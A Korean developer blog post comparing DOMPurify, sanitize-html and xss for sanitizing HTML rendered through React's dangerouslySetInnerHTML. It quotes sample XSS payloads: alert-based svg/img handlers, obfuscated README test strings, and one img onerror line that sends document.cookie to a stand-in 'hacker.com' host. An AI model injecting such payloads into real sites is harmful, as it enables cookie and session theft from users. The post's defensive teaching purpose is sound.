개발새발 로그

리액트에서 XSS문제를 피하는 방법 - 각종 라이브러리 체험하기 본문

React

리액트에서 XSS문제를 피하는 방법 - 각종 라이브러리 체험하기

이즈흐 2024. 5. 13. 03:37

XSS, 크로스 사이트 스크립팅에 대해 알아보면서 프론트 쪽에서도 이러한 보안 위협을 방지해야겠구나 생각이 들었다.

근데 개발하면서 사실을 보안에 대해 전혀 신경쓰지않고 있다.

마치 테스트 주도 개발을 안하고 있는 것과 같달까..

이번 기회에 XSS 보안 취약점을 어떻게하면 막을 수 있을까 찾아보면서 공부해보려한다.

물론 리액트를 기반으로 찾아보았다. 

Next는 보안 헤더를 구성할 수 있다 해서 Next는 조금 간단한 건가? 싶어서 나중에 해보려고한다.

 

 

🚨HTML요소를 직접 렌더링하는 경우

HTML 요소를 직접 렌더링하는 경우는 블로그나 노션에서 주로 사용한다.

마치 아래와 같이 말이다.

function App() {
  const html = `<h3>나는 제목이다.나는 제 목이다.</h3>
  <p>나는 본문이다. 나는 본 문이다. 나는 안 본 문이다. 나는 문을 보았다가 안보았다.</p>
  `
  return <div>{html}</div>
}

export default App

그럼 블로그는 우리가 원하는 대로 서식이 적용되야 할 것이다.

하지만 JSX내에서 직접 위와 같이 출력하면 아래와 같이 문자열로 해석된다.

JSX는 DOM 기반 XSS 공격으로 부터 애플리케이션을 보호하지만 사용자의 경험을 망친다.

그러면 해당 데이터를 문자열로 렌더링하는 대신에 마크업으로 렌더링을 해줘야한다.

그러면 콘텐츠가 HTML 태그와 함께 렌더링 될 것이다.

 

🤔원하는 대로 마크업으로 렌더링하려면?

이때 React에서는 dangerouslySetInnerHTML이라는 prop를 사용해서 수행할 수 있다.

function App() {
  const html = `<h3>나는 제목이다.나는 제 목이다.</h3>
  <p>나는 본문이다. 나는 본 문이다. 나는 안 본 문이다. 나는 문을 보았다가 안보았다.</p>
  `
  return <div dangerouslySetInnerHTML={{ __html: html }} />
}

그럼 위처럼 원하는 대로 서식이 적용돼서 콘텐츠가 렌더링된다.

 

 

😮하지만 큰일나요!

하지만 위 방법을 쓴다면 JSX가 지켜준 보안 취약점을 열어주는 꼴이 되버린다.

이 방법은 사용자가 만약 콘텐츠를 입력할 수 있다면 악의적인 스크립트로 블로그 글을 열었을 때 쿠키 값 등을 받을 수 있게 된다.

<p>Hacker님의 말: </p>
<p><p>Hello! I am a hacker.</p>
<img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURIComponent(document.cookie);" /></p>

위 코드가 그 예시다.

리액트에서도 위험하다고 알리고 있다.

 

 

🤔그럼 어떻게 해야해?

DOM 기반 XSS공격으로부터 보호하려면 DOM에서 렌더링하기 전에 HTML 요소가 포함된 데이터를 삭제해야한다.

사용할 수 있는 라이브러리가 3개 있다.

위 중에서 뭘 써야할까? 고민하던 중에 한번 npm 트렌드를 확인해 보았다.

위 트렌드를 참고해서 사용하면 좋을 것 같다.

 

근데 나는 일단 모두 사용해보려고한다!

그럼 뭐가 더 좋은지 알 것 같기 때문이다.

 


 

 

📖DOMpurify를 사용해보자

악성 HTML을 모두 제거하고 깨끗한 HTML 데이터를 반환, XSS 공격을 방지하는 dompurify를 사용해보자

 

1. 설치

npm install dompurify
//타입스크립트면 아래 것도 설치해줘야한다.
npm i --save-dev @types/dompurify

2. 사용~!

import DOMPurify from 'dompurify'

function App() {
  const html = `<h3>나는 제목이다.나는 제 목이다.</h3>
  <p>나는 본문이다. 나는 본 문이다. 나는 안 본 문이다. 나는 문을 보았다가 안보았다.</p>
  `
  const sanitizerHTML = DOMPurify.sanitize(html)
  return <div dangerouslySetInnerHTML={{ __html: sanitizerHTML }} />
}

 

🤔악의적인 스크립트의 예시를 보고싶다...!

정작 악의적인 상황이 어떤 상황인지 모르지않나..!
그래서 한번 어떤 상황이 악성 HTML이고, 그걸 정말 막아주는지 확인해보자.

아래 코드는 실제 악성HTML의 예시이다.

function App() {
  const html = `<span><svg/onload=alert("XSS공격이다~"+origin)></span>
  <h1>당신의 출처를 뺏겼습니다.</h1>
  <p>지금 <strong>마크업 렌더링</strong>은 잘 되고 있습니당</p>
  `

  const sanitizerHTML = DOMPurify.sanitize(html)
  return <div dangerouslySetInnerHTML={{ __html: html }} />
}

alert가 뜨고 있다.

위처럼 alert가 실행되는 것을 볼 수 있다.

만약 사용자가 html 와 같이 콘텐츠를 어디 게시판에 작성하고 글을 올린다음
그 글 그대로 출력하게되면 저렇게 뜰 것이다!

 

그럼 이제 DOMpurify가 막아주는지 확인해보자.

function App() {
  const html = `<span><svg/onload=alert("XSS공격이다~"+origin)></span>
  <h1>당신의 출처를 뺏겼습니다...? 엥?</h1>
  <p>지금 <strong>마크업 렌더링</strong>은 잘 되고 있습니당</p>
  `

  const sanitizerHTML = DOMPurify.sanitize(html)
  return <div dangerouslySetInnerHTML={{ __html: sanitizerHTML }} />
}

alert가 뜨지 않는 모습

확인해보니 alert가 안뜨고있다!

정말 악성HTML은 막아주고 있는 것을 볼 수 있다.


XSS공격 예시를 구현하면서 다양한 공격 예시를 찾아 리액트에 적용해봤지만 적용이 잘 안되는 상황이 많았다.

이는 리액트에서 기본적으로 dangerouslySetInnerHTML을 사용한다 하더라도 이를 막아준다고 한다.

 

🚨또 다른 XSS 공격 상황

아래 코드처럼 img에 onerror에다가 alert를 줘봤다.

그럼 아래 이미지처럼 실행된다.

// onError={...} 처럼 리액트 코드로 작성하면 안된다! 브라우저가 jsx문법을 모르지 않느냐!
function App() {
  const html = `
  <span>
  <img
  src="invalid-image"
  onerror=
    "alert('XSS 공격!')"
  alt="그럼 이 공격은 어떻게 할 것이냐!"
/>
  </span>
  `

  return <div dangerouslySetInnerHTML={{ __html: html }} />
}

위 처럼 이미지가 뜨기 전에 에러가 발생해 alert가 실행된다.

 

DOM 요소를 보니 아래처럼 alert코드가 보인다.

🤔DOMpurify를 사용하면?

import DOMPurify from 'dompurify'

function App() {
  const html = `
  <span>
    <img
    src="invalid-image"
    onerror=
      "alert('XSS 공격!')"
    alt="그럼 이 공격은 어떻게 할 것이냐!"
  />
  </span>
  `

  const sanitizerHTML = DOMPurify.sanitize(html)
  return <div dangerouslySetInnerHTML={{ __html: sanitizerHTML }} />
}

 

위 코드와 같이 DOMpurify를 다시 사용해서 실행해보았다.

다행히도 위 처럼 alert는 뜨지않는 것을 볼 수있다.

 

실제 코드에서도 아래처럼 alert코드 자체가 사라진 것을 볼 수 있다!

 

즉 DOMPurify는 위 상황처럼 콘텐츠를 필터링을 해주고 있는 것이다.

아래는 예시다.

DOMPurify.sanitize('<img src=x onerror=alert(1)//>'); 
// becomes <img src="x">

DOMPurify.sanitize('<svg><g/onload=alert(2)//<p>');
// becomes <svg><g></g></svg>

DOMPurify.sanitize('<p>abc<iframe//src=jAva&Tab;script:alert(3)>def</p>'); 
// becomes <p>abc</p>

DOMPurify.sanitize('<math><mi//xlink:href="data:x,<script>alert(4)</script>">'); 
// becomes <math><mi></mi></math>
DOMPurify.sanitize('<TABLE><tr><td>HELLO</tr></TABL>'); 
// becomes <table><tbody><tr><td>HELLO</td></tr></tbody></table>

DOMPurify.sanitize('<UL><li><A HREF=//google.com>click</UL>'); 
// becomes <ul><li><a href="//google.com">click</a></li></ul>

 

 

📢추가로 DOMPurufy는 커스텀이 가능하다!

DOMPurify 깃허브 README에서는 아래와 같이 사용법을 친절하게 알려주고 있다.

 

이미지에 있는 기능 말고도 많이 있었다.


 

📖sanitize-html을 사용해보자

1. 설치

npm install sanitize-html
//타입스크립트는 아래도 설치해주세요
npm i --save-dev @types/sanitize-html

2. 사용~

const dirty = 'some really tacky HTML';
const clean = sanitizeHtml(dirty);

 

사용법이 DOMPurify와 마찬가지로 간단하다.

 

Sanitize-html의 동작순서가 있길래 가져와봤다.

  1. HTML 파싱
    sanitize-html은 입력된 HTML 문자열을 파싱하기 위해 HTML 파서를 사용합니다. 이 파서는 입력된 문자열을 HTML 요소, 속성, 텍스트 노드 등의 노드로 분리합니다.
  2. 노드에 대한 필터링
    sanitize-html은 각 노드의 타입과 속성을 분석하여, 안전하지 않은 요소나 속성을 필터링한다. 예를 들어, 스크립트 태그나 링크 태그의 href 속성은 보안 상의 이유로 필터링된다.
  3. 안전한 HTML 코드 생성
    sanitize-html은 HTML 요소와 속성을 필터링한 후, 안전한 HTML 코드로 변환하는 과정을 진행한다. 이때 안전한 HTML 코드는 기본적으로 HTML5 스펙을 따르며, 사용자 지정 옵션을 통해 필요한 요소와 속성을 추가하거나 제거할 수 있다.

안전하지 않은 요소를 필터링한다고 한다.

 

👨‍💻직접 사용해보자!

sanitize-html을 아래처럼 사용해봤다.

import sanitizeHtml from 'sanitize-html'

function App() {
  const html = `
  <span>
    <img
    src="invalid-image"
    onerror=
      "alert('XSS 공격!')"
    alt="그럼 이 공격은 어떻게 할 것이냐!"
  />
  <h1>나는 필터링이 안됐넹</h1>
  <p>키키</p>
  </span>
  `

  const sanitizerHTML = sanitizeHtml(html)
  return <div dangerouslySetInnerHTML={{ __html: sanitizerHTML }} />
}

아까 위에서 사용했던 악성HTML을 갖고왔다.

실행하면 아래와 같이 뜬다.

img태그가 완전히 사라졌다.

 

DOMPurify는 img안의 alert와 같은 악의적인 메서드만 없애줬는데
sanitize-html은 완전히 없애버린 것을 볼 수 있었다.

 

sanitize-html는 기본적으로 아래와 기본적으로 허용하는 태그와 속성 등을 제외하고는 모두 지우는 것이다.

sanitize-html을 사용할 때는 위 기본 값을 알고 있는 것이 좋을 것 같았다.

 

 

🤔그럼 img태그를 보여주긴 해야하는 상황에서는 어떻게해야할까?

sanitize-html에서는 이를 커스텀하게 허용할 수 있도록 지원하고 있다.

 

태그 뿐만 아니라 iframe의 도메인, 허용할 태그의 속성 등도 커스텀하게 지정 가능하다.

 

🛠️그럼 한번 img태그를 허용해보자

아래와 같이 코드를 구성해봤다.

function App() {
  const html = `
  <span>
    <img
    src="invalid-image"
    onerror=
      "alert('XSS 공격!')"
    alt="그럼 이 공격은 어떻게 할 것이냐!"
  />
  <h1>나는 필터링이 안됐넹</h1>
  <p>키키</p>
  </span>

  `
  const sanitizerHTML = sanitizeHtml(html, {
    allowedTags: sanitizeHtml.defaults.allowedTags.concat(['img'])
  })

  return <div dangerouslySetInnerHTML={{ __html: sanitizerHTML }} />
}

allowedTags로 img 태그를 추가해주었다.

물론 기본값에 더해서 추가하기 위해서 위 코드처럼 구성했다.

그럼 위처럼 img태그가 나오게 된다.

하지만 alert는 실행되지않는 모습이다.

img태그는 허용됐지만 그 이외에는 허용이 안된 모습이다.

 

그럼 이런 생각이 든다.

"만약 허용 범위를 모두 가능하게 하면 XSS공격이 허용되지 않을까?"

 

그래서 아래와 같이 img태그를 허용하게하고 기본값으로 있던 필터링 속성을 모두 허용해봤다.

  const sanitizerHTML = sanitizeHtml(html, {
    allowedTags: sanitizeHtml.defaults.allowedTags.concat(['img']),
    allowedAttributes: false
  })

 

그럼 아래와 같이 alert가 실행된다.

 

결과적으로 sanitize-html은 이러한 허용 태그와 속성을 정확하게 명시해야 하는 것이었다.

  // span 태그만 허용하고 나머지 태그는 제거
  const cleaned = sanitizeHtml(str, {
    allowedTags: ["span"]
  });

  const cleaned2 = sanitizeHtml(strRed, {
    allowedTags: ["span"],
    allowedAttributes: {
      span: ["style"] // css style 허용
    }
  });

 

허용할 태그와 목록을 일일히 나열하는 이른바 허용목록(allow list)방식을 채택하기 때문에 사용하기가 매우 귀찮게 느껴질 수도 있다.

하지만 이렇게 허용 목록을 작성하는 것이 훨씬 안전하다.

 

허용목록(allow list) 에 추가하는 것을 깜빡한 태그나 속성이 있다면 단순히 HTML이 안보이는 사소한 이슈로 그치겠지만 
차단 목록(block list)로 해야할 것을 놓친다면 그 즉시 보안 이슈로 연결되기 때문이다!

 

🚨추가로 sanitize-html을 사용하면 생기는 경고문!

sanitize-html을 사용하니 위와 같은 경고문이 생겼다.

이 메시지는 Vite 프로젝트에서 "source-map-js" 모듈이 브라우저 호환성을 위해 외부화(externalized)되었고, 클라이언트 코드에서 "source-map-js.SourceMapConsumer"에 접근할 수 없음을 나타냅니다.
이는 특정 라이브러리나 모듈이 서버 사이드에서만 사용되도록 설계되었거나, 브라우저에서의 직접 사용이 권장되지 않을 때 발생할 수 있습니다.

 

라고 한다.

근데 사실 아직 해결하지못했다..ㅋㅋ

이 문제는 추후 해결하고 수정해서 포스팅하도록 하겠다!

 


 

📖xss를 사용해보자

1. 설치 - xss

npm install xss

- xss는 타입스크립트로 만들어졌다고 하네요!

2. 사용~

import xss from 'xss'

const dirty = 'some really tacky HTML';
const clean = xss(dirty)

 

 

👨‍💻직접 사용해보자!

function App() {
  const html = `
  <span>
    <img
    src="invalid-image"
    onerror=
      "alert('XSS 공격!')"
    alt="그럼 이 공격은 어떻게 할 것이냐!"
  />
  <h1>나는 필터링이 안됐넹</h1>
  <p>키키</p>
  </span>

  `
  const sanitizerHTML = xss(html)
  return <div dangerouslySetInnerHTML={{ __html: sanitizerHTML }} />
}

위 코드를 실행하면 아래와 같이 나타난다

결과는 DOMPurify를 사용했을 때와 동일한 것 같았다.

 

🤔xss 라이브러리의 특징은?

그럼 xss만의 특징은 무엇일까?

github의 README를 읽어보면서 특징을 찾아봤다.

 

사용자 지정 필터 규칙

xss() 함수를 사용할 때 두 번째 매개변수를 사용하여 사용자 정의 규칙을 지정할 수 있습니다:

options = {}; // Custom rules
html = xss('<script>alert("xss");</script>', options);

 

매번 옵션을 전달하지 않으려면 FilterXSS 인스턴스를 생성하여 더 빠른 방법으로 옵션을 전달할 수도 있습니다

options = {}; // Custom rules
myxss = new xss.FilterXSS(options);
// then apply myxss.process()
html = myxss.process('<script>alert("xss");</script>');

옵션의 매개변수에 대한 자세한 내용은 아래에 설명되어 있습니다.

 

 

위 내용으로 봤을 때 sanitize-html처럼 커스텀이 가능한 것 같았다.

 

예제를 보자

알려주는 예제를 보니 option에는 다양한 함수가 존재하고, 이 함수에서 어떤 속성을 지정할 수 있는 것 같았다.

화이트리스트로 위처럼 특정 속성을 허용하는 것으로 보인다.

CSS필터도 지원하는 것 같았다.

 

🛠️실제로 커스텀해보자!

xss의 커스텀은 sanitize-html과는 어떤 점이 다른지 실제로 사용해보려고 한다.

위 예제나 CSS 필터 예제를 봤듯이 다양한 기능이 존재하는 것 같았다.

하지만 나는 커스텀 기능만 실제로 사용해보려고 한다.(다른 기능은 추후에 해보겠숩니당..)

😮기본값을 확인해야 해..!

먼저 기본 값을 확인해야한다.

깃허브에는 알려주지 않고 있고, xss.whiteList로 확인하라고 한다.

그래서 아래 코드를 출력해봤다.

 console.log(xss.whiteList)

위 처럼 배열안에 문자열들이 들어있다.

문자열은 속성을 뜻하고 있는 것 같았다.

위 데이터를 보고 아래처럼 코드를 작성해봤다.

function App() {
  const html = `
  <span>
    <img
    src="invalid-image"
    onerror=
      "alert('XSS 공격!')"
    alt="그럼 이 공격은 어떻게 할 것이냐!"
  />
  <h1>나는 필터링이 안됐넹</h1>
  <p>키키</p>
  </span>

  `
  // 아래와 같이 속성을 부여해야하고, 빈 배열은 해당 속성이 원래 없다는 것을 의미한다.
  // 즉 허용할 속성을 정할 수 있는 건데 span과 같은 태그는 기본 값이 빈 배열이다.
  const options = {
    whiteList: {
      span: [],
      img: ['src', 'alt'],
      p: []
    }
  }

  const sanitizerHTML = xss(html, options)

  return <div dangerouslySetInnerHTML={{ __html: sanitizerHTML }} />
}

위 코드를 실행하면 아래와 같이 출력된다.

허용한 속성과 태그만 필터링되고, 허용하지 않은 태그와 속성은 나오지 않는 것을 볼 수 있다.

 

일단 사용법은 간단했다.

그리고 sanitize-html을 사용하고나니 어떻게 활용하는지 빠르게 익혔다.

또 sanitize-html과 다르게  css필터링이나 html속성에 함수를 넣는 것과 같이  추가 기능이 많은 것 같았다.

내가 사용해보지는 않았지만 sanitize와는 다른 것 같았다.

 

또한 stripIgnoreTag 나 allowCommentTag 과 같이 기본 속성을 빠르게 바꿀 수 있는 옵션도 있다.

 

아무튼 많은 기능을 지원하는 것 같았다.

 

 

📘마무리하며..

다양한 XSS를 위한 라이브러리를 직접 체험해봤다.

각각의 라이브러리를 깊게 체험해보지는 못했지만 어느정도 각각의 라이브러리마다의 장단점이 있는 것 같았다.

 

일단 DOMPurify가 확실히 npm트렌드에서도 높은 수치인 만큼 편한 것 같았다.

모든 라이브러리가 사용법이 간단하지만 DOMPurify는 기본 값으로도 알아서 악성 HTML만 없애주는 것이 좋았다.

사실 알아서 없애주는 게 어떻게 없애주는 것인지 모른다...! -> 그저 onerror만 없애주는 것일까?

이 부분 유의하면서 사용해야할 것 같다.

 

sanitize-html은 악성 HTML뿐만아니라 기본 값으로 정해져있는 것들은 모두 제거해버렸다.

그래서 기본적으로 설정을 해줘야 하는 것이 조금 불편할 수도 있을 것 같았다.

허용 리스트라는 것을 사용하는데 어떻게 보면 보통 모든 라이브러리가 허용리스트를 사용하는 것 같았다.
장점이라고하면 개인적으로는 커스텀하는 코드들이 직관적이어서 좋았다.
뭔가 설정하는 것이 귀찮겠지만 쉽다는 것이었다.

 

마지막으로 xss는 sanitize-html과 거의 동일하다. 기본 값으로 설정되어있는게 있고, 그걸 기반으로 한다.

그래도 img와 같은 것들은 DOMPurtify와 같이 악성 HTML만 없애줬다.(이 부분도 아직 어떻게 알아서 없애주는지 모른다!)

그래서 사용하기가 간단했다.

근데 xss는 사람들이 많이 사용하지 않는 것 때문인지 레퍼런스를 찾기 어려웠다.

특히 라이브러리 이름이 xss라 더 찾기 어려웠다...!

그래서 깃허브 README에만 의존해서 사용법을 익혀야했다.
사용법 또한 뭔가 어려웠다..

그래도 필터링 기능이 sanitize-html보다는 풍부해보였다.(굳이 이 기능까지..? 라는 부분도 있긴 했다..!)

이렇게 내가 느낀 점들을 정리해봤다.

나는 개인적으로 DOMPurify가 좋았다.
일단 편했고, 업데이트도 주기적으로 하는 것 같았다.

그리고 레퍼런스가 그나마 많았다.

사용법을 찾기 쉬운 라이브러리는 나에게 큰 장점이다!

나중에는 실제로 프로젝트에 적용해보면서 해보려고한다!

728x90
반응형
LIST